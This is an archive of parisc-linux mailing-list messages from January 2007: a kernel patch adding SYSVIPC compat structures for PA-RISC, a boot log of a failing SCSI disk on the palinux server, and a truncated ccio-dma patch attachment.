	id 400C33D83DB; Sun, 21 Jan 2007 00:46:49 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1169228395.2781.35.camel@mulgrave.il.steeleye.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Xk3REcYEbXBtTrqHPTQ2YawqLyUmZUgS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24254

On Fri, Jan 19, 2007 at 11:39:55AM -0600, James Bottomley wrote:
> The controversial change might be to move to the compat_sys calls for
> msgsnd and msgrcv ... it looks to me like the ABI in sys_parisc32.c
> might be different from the one in ipc/compat.c  can someone who has a
> copy of glibc check this?

linking ipc/compat.c requires we first add this bit to arch/parisc/Kconfig:

config SYSVIPC_COMPAT
        bool
        depends on COMPAT && SYSVIPC
        default y

so that ipc/compat.c gets built.
And then add a few missing compat_XXX structs to asm-parisc/compat.h:

compat_key_t		same for all arches (s32)

compat_ipc64_perm	asm-sparc64/compat.h version looks the best to me
			but it has the "ushort" pad fields before the
			field it's padding for.
			I also looked at x86_64, s390, powerpc.

compat_shmid64_ds	Ditto
compat_msqid64_ds	Ditto
compat_semid64_ds	Ditto

Until I can commit the appended diff myself:
Signed-off-by: Grant Grundler <grundler@parisc-linux.org>

thanks,
grant


diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index e18eeec..fcc4c6f 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -242,6 +242,11 @@ config COMPAT
 	def_bool y
 	depends on 64BIT
 
+config SYSVIPC_COMPAT
+	bool
+	depends on COMPAT && SYSVIPC
+	default y
+
 config HPUX
 	bool "Support for HP-UX binaries"
 	depends on !64BIT
diff --git a/include/asm-parisc/compat.h b/include/asm-parisc/compat.h
index fe85790..4b41974 100644
--- a/include/asm-parisc/compat.h
+++ b/include/asm-parisc/compat.h
@@ -27,6 +27,8 @@ typedef u16	compat_nlink_t;
 typedef u16	compat_ipc_pid_t;
 typedef s32	compat_daddr_t;
 typedef u32	compat_caddr_t;
+typedef __kernel_fsid_t compat_fsid_t;
+typedef s32	compat_key_t;
 typedef s32	compat_timer_t;
 
 typedef s32	compat_int_t;
@@ -126,6 +128,68 @@ typedef u32		compat_sigset_word;
 #define COMPAT_OFF_T_MAX	0x7fffffff
 #define COMPAT_LOFF_T_MAX	0x7fffffffffffffffL
 
+
+/* cloned from include/asm-sparc64/compat.h */
+struct compat_ipc64_perm {
+	compat_key_t key;
+	__compat_uid32_t uid;
+	__compat_gid32_t gid;
+	__compat_uid32_t cuid;
+	__compat_gid32_t cgid;
+	unsigned short __pad1;
+	compat_mode_t mode;
+	unsigned short __pad2;
+	unsigned short seq;
+	compat_ulong_t unused1;
+	compat_ulong_t unused2;
+};
+
+struct compat_semid64_ds {
+	struct compat_ipc64_perm sem_perm;
+	unsigned int __unused1;
+	compat_time_t sem_otime;
+	unsigned int __unused2;
+	compat_time_t sem_ctime;
+	compat_ulong_t sem_nsems;
+	compat_ulong_t __unused3;
+	compat_ulong_t __unused4;
+};
+
+struct compat_msqid64_ds {
+	struct compat_ipc64_perm msg_perm;
+	unsigned int __unused1;
+	compat_time_t msg_stime;
+	unsigned int __unused2;
+	compat_time_t msg_rtime;
+	unsigned int __unused3;
+	compat_time_t msg_ctime;
+	compat_ulong_t msg_cbytes;
+	compat_ulong_t msg_qnum;
+	compat_ulong_t msg_qbytes;
+	compat_pid_t msg_lspid;
+	compat_pid_t msg_lrpid;
+	compat_ulong_t __unused4;
+	compat_ulong_t __unused5;
+};
+
+struct compat_shmid64_ds {
+	struct compat_ipc64_perm shm_perm;
+	unsigned int __unused1;
+	compat_time_t shm_atime;
+	unsigned int __unused2;
+	compat_time_t shm_dtime;
+	unsigned int __unused3;
+	compat_time_t shm_ctime;
+	unsigned int __unused4;
+	compat_size_t shm_segsz;
+	compat_pid_t shm_cpid;
+	compat_pid_t shm_lpid;
+	compat_ulong_t shm_nattch;
+	compat_ulong_t __unused5;
+	compat_ulong_t __unused6;
+};
+
+
 /*
  * A pointer passed in from user mode. This should not
  * be used for syscall parameters, just declare them
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palinux AWOL
Date: Sun, 21 Jan 2007 18:35:59 +0100
Lines: 285
Approved: news@gmane.org
Message-ID: <7d01f9f00701210935se78f8er65b276e67a68f502__38203.2956266359$1416624266$gmane$org@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624266 22532 80.91.229.3 (22 Nov 2014 02:44:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:26 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jan 2007 17:36:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 21 Jan 2007 18:36:17 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E5C497D655;
	Sun, 21 Jan 2007 10:36:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20389-06; Sun, 21 Jan 2007 10:36:09 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B458E7D66F;
	Sun, 21 Jan 2007 10:36:07 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 383717D651
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Jan 2007 10:36:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20218-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Jan 2007 10:36:01 -0700 (MST)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.174])
	by free.linux.hp.com (Postfix) with ESMTP id 247027D64C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Jan 2007 10:36:00 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id c2so915583ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Jan 2007 09:36:00 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=GGHOHDRZK8eYy75zBfftASABj/IBL/+24JzAdwi/8k9uA1BCssDPbYnaee+qz0fvxI1zf8uOZjvLABdedUCRqtzEm0yALqx+S5BeqHt0yPJQWLT6n8F0/bdPROkIxCLGjHnxeFyWXv4b8I54/rp5awfdPJMNAAhGrfIn2KUuXHo=
Original-Received: by 10.82.118.2 with SMTP id q2mr4840928buc.1169400959634;
	Sun, 21 Jan 2007 09:35:59 -0800 (PST)
Original-Received: by 10.78.202.8 with HTTP; Sun, 21 Jan 2007 09:35:59 -0800 (PST)
Content-Disposition: inline
X-Google-Sender-Auth: b97beacf56fae734
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xMHBZeZFeSE5SL6WZHQhBpd2IGRvbwAV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24255

palinux is in bad shape:

Begin: Loading essential drivers... ...
SCSI subsystem initialized
sym0: <896> rev 0x7 at pci 0000:00:01.0 irq 67
sym0: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.2.3
sym1: <896> rev 0x7 at pci 0000:00:01.1 irq 68
sym1: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking
sym1: SCSI BUS has been reset.
sym1: SCSI BUS mode change from SE to SE.
scsi1 : sym-2.2.3
sym1: SCSI BUS has been reset.
  Vendor: HP 73.4G  Model: ST373405LC        Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target1:0:15: tagged command queuing enabled, command queue depth 16.
 target1:0:15: Beginning Domain Validation
 target1:0:15: asynchronous
 target1:0:15: wide asynchronous
 target1:0:15: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 31)
 target1:0:15: Domain Validation skipping write tests
 target1:0:15: Ending Domain Validation
SCSI device sda: 143374738 512-byte hdwr sectors (73408 MB)
sda: Write Protect is off
SCSI device sda: drive cache: write through w/ FUA
SCSI device sda: 143374738 512-byte hdwr sectors (73408 MB)
sda: Write Protect is off
SCSI device sda: drive cache: write through w/ FUA
 sda: sda1 sda2
sd 1:0:15:0: Attached scsi disk sda
sym2: <875> rev 0x14 at pci 0000:00:02.0 irq 68
sym2: PA-RISC Firmware, ID 7, Fast-20, SE, parity checking
sym2: SCSI BUS has been reset.
scsi2 : sym-2.2.3
sym3: <875> rev 0x14 at pci 0000:00:02.1 irq 69
sym3: PA-RISC Firmware, ID 7, Fast-20, SE, parity checking
sym3: SCSI BUS has been reset.
scsi3 : sym-2.2.3
  Vendor: HP 73.4G  Model: ST373405LC        Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target3:0:15: tagged command queuing enabled, command queue depth 16.
 target3:0:15: Beginning Domain Validation
 target3:0:15: asynchronous
 target3:0:15: wide asynchronous
 target3:0:15: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 16)
 target3:0:15: Domain Validation skipping write tests
 target3:0:15: Ending Domain Validation
SCSI device sdb: 143374738 512-byte hdwr sectors (73408 MB)
sdb: Write Protect is off
SCSI device sdb: drive cache: write through w/ FUA
SCSI device sdb: 143374738 512-byte hdwr sectors (73408 MB)
sdb: Write Protect is off
SCSI device sdb: drive cache: write through w/ FUA
 sdb: sdb1 sdb3 sdb4 < sdb5 sdb6 >
sd 3:0:15:0: Attached scsi disk sdb
Done.
Begin: Running /scripts/init-premount ...
Linux Tulip driver version 1.1.13-NAPI (May 11, 2002)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 0061.
eth0: Digital DS21142/43 Tulip rev 65 at Port 0x80, 00:30:6E:0C:6A:EA, IRQ 66.
tg3.c:v3.65 (August 07, 2006)
eth1: Tigon3 [partno(BCM95700A6) rev 7102 PHY(5401)]
(PCI:66MHz:64-bit) 10/100/1000BaseT Ethernet 00:04:76:3b:0e:a3
eth1: RXcsums[1] LinkChgREG[1] MIirq[1] ASF[0] Split[0] WireSpeed[0] TSOcap[0]
eth1: dma_rwctrl[76ff2d0f] dma_mask[32-bit]
eth2: Tigon3 [partno(BCM95700A6) rev 7102 PHY(5401)]
(PCI:66MHz:64-bit) 10/100/1000BaseT Ethernet 00:04:76:3b:13:e7
eth2: RXcsums[1] LinkChgREG[1] MIirq[1] ASF[0] Split[0] WireSpeed[0] TSOcap[0]
eth2: dma_rwctrl[76ff2d0f] dma_mask[32-bit]
Done.
Begin: Mounting root file system... ...
Begin: Running /scripts/local-top ...
Done.
Begin: Running /scripts/local-premount ...
Done.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: sdb5: orphan cleanup on readonly fs
EXT3-fs: sdb5: 5 orphan inodes deleted
EXT3-fs: recovery complete.
EXT3-fs: mounted filesystem with ordered data mode.
Begin: Running /scripts/local-bottom ...
Done.
Done.
Begin: Running /scripts/init-bottom ...
Done.
INIT: version 2.86 booting
Setting hostname to 'palinux'...done.
Starting the hotplug events dispatcher: udevd.
Synthesizing the initial hotplug events...done.
Waiting for /dev to be fully populated...done.
Activating swap:swapon on /dev/sdb3
Adding 2097136k swap on /dev/sdb3.  Priority:-1 extents:1 across:2097136k
.
Will now check root file system:fsck 1.40-WIP (14-Nov-2006)
[/sbin/fsck.ext3 (1) -- /] fsck.ext3 -a -C0 /dev/sdb5
/dev/sdb5: clean, 148055/1251712 files, 676876/2500107 blocks
.
EXT3 FS on sdb5, internal journal
Setting the system clock again..
System Clock set. Local time: Sun Jan 21 17:25:01 UTC 2007.
Cleaning up ifupdown....
Loading kernel module tulip.
Loading kernel module tg3.
Loading kernel module ip_tables.
ip_tables: (C) 2000-2006 Netfilter Core Team
Loading kernel module ip_conntrack.
Netfilter messages via NETLINK v0.30.
ip_conntrack version 2.4 (8192 buckets, 65536 max) - 304 bytes per conntrack
Loading kernel module ipt_state.
Loading kernel module ip_conntrack_ftp.
Loading device-mapper supportdevice-mapper: ioctl: 4.7.0-ioctl
(2006-06-24) initialised: dm-devel@redhat.com
.
Will now check all file systems.
fsck 1.40-WIP (14-Nov-2006)
Checking all file systems.
[/sbin/fsck.ext2 (1) -- /boot] fsck.ext2 -a -C0 /dev/sdb1
[/sbin/fsck.ext3 (2) -- /var/lib/cvs] fsck.ext3 -a /dev/sda1
/dev/sdb1: clean, 31/16064 files, 30944/64228 blocks
/dev/sda1: recovering journal
[/sbin/fsck.ext3 (2) -- /var] fsck.ext3 -a -C0 /dev/sdb6
/dev/sda1: clean, 250086/2252160 files, 1552790/4500200 blocks
[/sbin/fsck.ext3 (2) -- /home] fsck.ext3 -a /dev/sda2
/dev/sda2: recovering journal
/dev/sda2: clean, 2533673/6717440 files, 11741194/13420299 blocks
sd 3:0:15:0: ABORT operation started.
sd 3:0:15:0: ABORT operation timed-out.
sd 3:0:15:0: ABORT operation started.
sd 3:0:15:0: ABORT operation timed-out.
sd 3:0:15:0: ABORT operation started.
sd 3:0:15:0: ABORT operation timed-out.
sd 3:0:15:0: ABORT operation started.
sd 3:0:15:0: ABORT operation timed-out.
sd 3:0:15:0: ABORT operation started.
sd 3:0:15:0: ABORT operation timed-out.
sd 3:0:15:0: ABORT operation started.
sd 3:0:15:0: ABORT operation timed-out.
sd 3:0:15:0: ABORT operation started.
sd 3:0:15:0: ABORT operation timed-out.
sd 3:0:15:0: ABORT operation started.
sd 3:0:15:0: ABORT operation timed-out.
sd 3:0:15:0: ABORT operation started.
sd 3:0:15:0: ABORT operation timed-out.
sd 3:0:15:0: ABORT operation started.
sd 3:0:15:0: ABORT operation timed-out.
sd 3:0:15:0: ABORT operation started.
sd 3:0:15:0: ABORT operation timed-out.
sd 3:0:15:0: ABORT operation started.
sd 3:0:15:0: ABORT operation timed-out.
sd 3:0:15:0: ABORT operation started.
sd 3:0:15:0: ABORT operation timed-out.
sd 3:0:15:0: ABORT operation started.
sd 3:0:15:0: ABORT operation timed-out.
sd 3:0:15:0: ABORT operation started.
sd 3:0:15:0: ABORT operation timed-out.
sd 3:0:15:0: ABORT operation started.
sd 3:0:15:0: ABORT operation timed-out.
sd 3:0:15:0: DEVICE RESET operation started.
sd 3:0:15:0: DEVICE RESET operation timed-out.
sd 3:0:15:0: BUS RESET operation started.
sd 3:0:15:0: BUS RESET operation timed-out.
sd 3:0:15:0: HOST RESET operation started.
sym3: SCSI BUS has been reset.
sd 3:0:15:0: HOST RESET operation timed-out.
sd 3:0:15:0: scsi: Device offlined - not ready after error recovery
sd 3:0:15:0: scsi: Device offlined - not ready after error recovery
sd 3:0:15:0: scsi: Device offlined - not ready after error recovery
sd 3:0:15:0: scsi: Device offlined - not ready after error recovery
sd 3:0:15:0: scsi: Device offlined - not ready after error recovery
sd 3:0:15:0: scsi: Device offlined - not ready after error recovery
sd 3:0:15:0: scsi: Device offlined - not ready after error recovery
sd 3:0:15:0: scsi: Device offlined - not ready after error recovery
sd 3:0:15:0: scsi: Device offlined - not ready after error recovery
sd 3:0:15:0: scsi: Device offlined - not ready after error recovery
sd 3:0:15:0: scsi: Device offlined - not ready after error recovery
sd 3:0:15:0: scsi: Device offlined - not ready after error recovery
sd 3:0:15:0: scsi: Device offlined - not r error recovery
sd 3:0:15:0: scsi: Device offlined - not ready after error recovery
sd 3:0:15:0: scsi: Device offlined - not ready after error recovery
sd 3:0:15:0: scsi: Device offlined - not ready after error recovery
sd 3:0:15:0: rejecting I/O to offline device
Buffer I/O error on device sdb6, logical block 42205184
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
Buffer I/O error on device sdb5, logical block 524298
lost page write due to I/O error on sdb5
sd 3:0:15:0: rejecting I/O to offline device
Buffer I/O error on device sdb5, logical block 524303
lost page write due to I/O error on sdb5
sd 3:0:15:0: rejecting I/O to oer I/O error on device sdb5, logical
block 786436lost page write due to I/O error on sdb5
Buffer I/O error on device sdb5, logical block 786437
lost page write due to I/O error on sdb5
sd 3:0:15:0: rejecting I/O to offline device
Buffer I/O error on device sdb5, logical block 786439
lost page write due to I/O error on sdb5
Buffer I/O error on device sdb5, logical block 786440
lost page write due to I/O error on sdb5
sd 3:0:15:0: rejectioffline device
Buffer I/O error on device sdb5, logical block 786448
lost page write due to I/O error on sdb5
sd 3:0:15:0: rejecting I/O to offline device
Buffer I/O error on device sdb5, logical block 851973
lost page write due to I/O error on sdb5
Buffer I/O error on device sdb5, logical block 851974
lost page write due to I/O error on sdb5
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
sd 3:/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rI/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
timer_interrupt(CPU 0): delayed! cycles 370FB9E3 rem 1775E3  next/now
2210D2F9B6/2247E2B399
sd 3:0:15:0: SCSI error: return code = 0x00010000
end_request: I/O error, dev sdb, sector 12061705
sd 3:0:15:0: rejting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
Aborting journal on device sdb5.
EXT3-fs error (device sdb5) in ext3_reserve_inode_write: Journal has aborted
Remounting filesystem read-only
sd 3:0:15:0: rejting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
EXT3-fs error (device sdb5) in ext3_reserve_inode_write: Journal has aborted
sd 3:0:15:0: rejcting I/O to offline device
sd 3:0:15:0: rejecting I/O to offline device
EXT3-fs error (device sdb5) in ext3_reserve_inode_write: Journal has aborted
sd 3:0:15:0: rejecting I/O to offline device
Error reading block 10551296 (Atsd 3:0:15:0: rejecting I/O to offline device
tempt to read block from filesyssd 3:0:15:0: rejecting I/O to offline device
tem resulted in short read) while reading inode and block bitmaps.

/dev/sdb6: UNEXPECTED INCONSISTENCY; RUN fsck MANUALLY.
        (i.e., without -a or -p options)
fscksd 3:0:15:0:g I/O to offline device
 died with exit status 4
File system check failsd 3:0:15:0: rejecting I/O to offline device
ed.
A log is being saved in /vsd 3:0:15:0: rejecting I/O to offline device
ar/log/fsck/checkfs if that location is writable.
Please repair the file system manually.
A maintenance shell will now be started.
CONTROL-D will terminate this shell and resume system boot.
/etc/rcS.d/S30checkfs.sh: line 69: /sbin/sulogin: Input/output error
Attempt to start maintenance shell failed.
Continuing with system boot in 5 seconds.
timer_interrupt(CPU 0): delayed! cycles 100001022 rem 8B822  next/now
2247E618B6/2347E628D8
timer_interrupt(CPU 0): delayed! cycles 100000373 rem 8AB73  next/now
2347F84BB6/2447F84F29
timer_interrupt(CPU 0): delayed! cycles 1000002ED rem 8AAED  next/now
24480A7EB6/25480A81A3


-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] backport of sba sg list management to ccio-dma
Date: Tue, 23 Jan 2007 10:35:42 +0100
Lines: 208
Approved: news@gmane.org
Message-ID: <JCBENI$F31C9CCD8BD2F7CE6E854C3425EAE479__18582.6212553822$1416624267$gmane$org@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="_=__=_XaM3_.1169544942.2A.626863.42.460.52.42.007.234827115"
X-Trace: ger.gmane.org 1416624267 22538 80.91.229.3 (22 Nov 2014 02:44:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:27 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jan 2007 09:35:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx097) with SMTP; 23 Jan 2007 10:35:57 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D02A97D916;
	Tue, 23 Jan 2007 02:35:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03426-10; Tue, 23 Jan 2007 02:35:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E2BE7D917;
	Tue, 23 Jan 2007 02:35:51 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1A1FD7D903
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Jan 2007 02:35:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03531-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Jan 2007 02:35:45 -0700 (MST)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id CBADA7D8E8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 23 Jan 2007 02:35:44 -0700 (MST)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by guri.is.scarlet.be  with ESMTP id l0N9Zgk22072 
	for <parisc-linux@lists.parisc-linux.org>; 
	Tue, 23 Jan 2007 10:35:42 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yOOHfbYXPjltCOrBOTU2tAMzMTE2NQk0
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24256

--_=__=_XaM3_.1169544942.2A.626863.42.460.52.42.007.234827115
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Hi all,

I just put here for backup my latest draft work about subject.

This is already working but lake of ccio public doc I can't progress any =
more.

As my parisc farmer has to be decommssioned asap, I have very few chance =
to finish it; so fill free to use it if you find some interest.

That said, thanks to all for your suport all those years,

    Joel---=0AScarlet One - Combinez l'ADSL avec la telephonie fixe illim=
itee et epargnez 400 euros=0Ahttp://www.scarlet.be =0A
--_=__=_XaM3_.1169544942.2A.626863.42.460.52.42.007.234827115
Content-Type: application/x-gzip-compressed;
	name="=?iso-8859-1?Q?SomeMoreCcioWork.diff2.gz?="
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="=?iso-8859-1?Q?SomeMoreCcioWork.diff2.gz?="

H4sICK3QtUUAA1NvbWVNb3JlQ2Npb1dvcmsuZGlmZjIAvDxrV9tIsp/Fr+ghh4yNbJAfOAQH
NgyYxGd4HQybmZvN0RGybGsjSx49AG8289tvVXW31HrYkJl7rjcDRt1VXV3vqm5ts9lknusn
T832Tm+nbTRDe6+5sIxm2zDeGK1Wb9cK7dnuwgrdyN796oS+4+2OQ/fBCaMdeycI3amGU5tG
q9naY8bbA6N30O3tGPLDdPy5oev631gnXaLdZi0D8B90jNIS79+z5p7xttGCB/S7zd6/32Da
9w0GP8fOQ/PIHe/MHs14uXDYIXODsW2Ordj63PnCXjPjqTXpb+jpxGhhmdHMncS5qe0vfRUZ
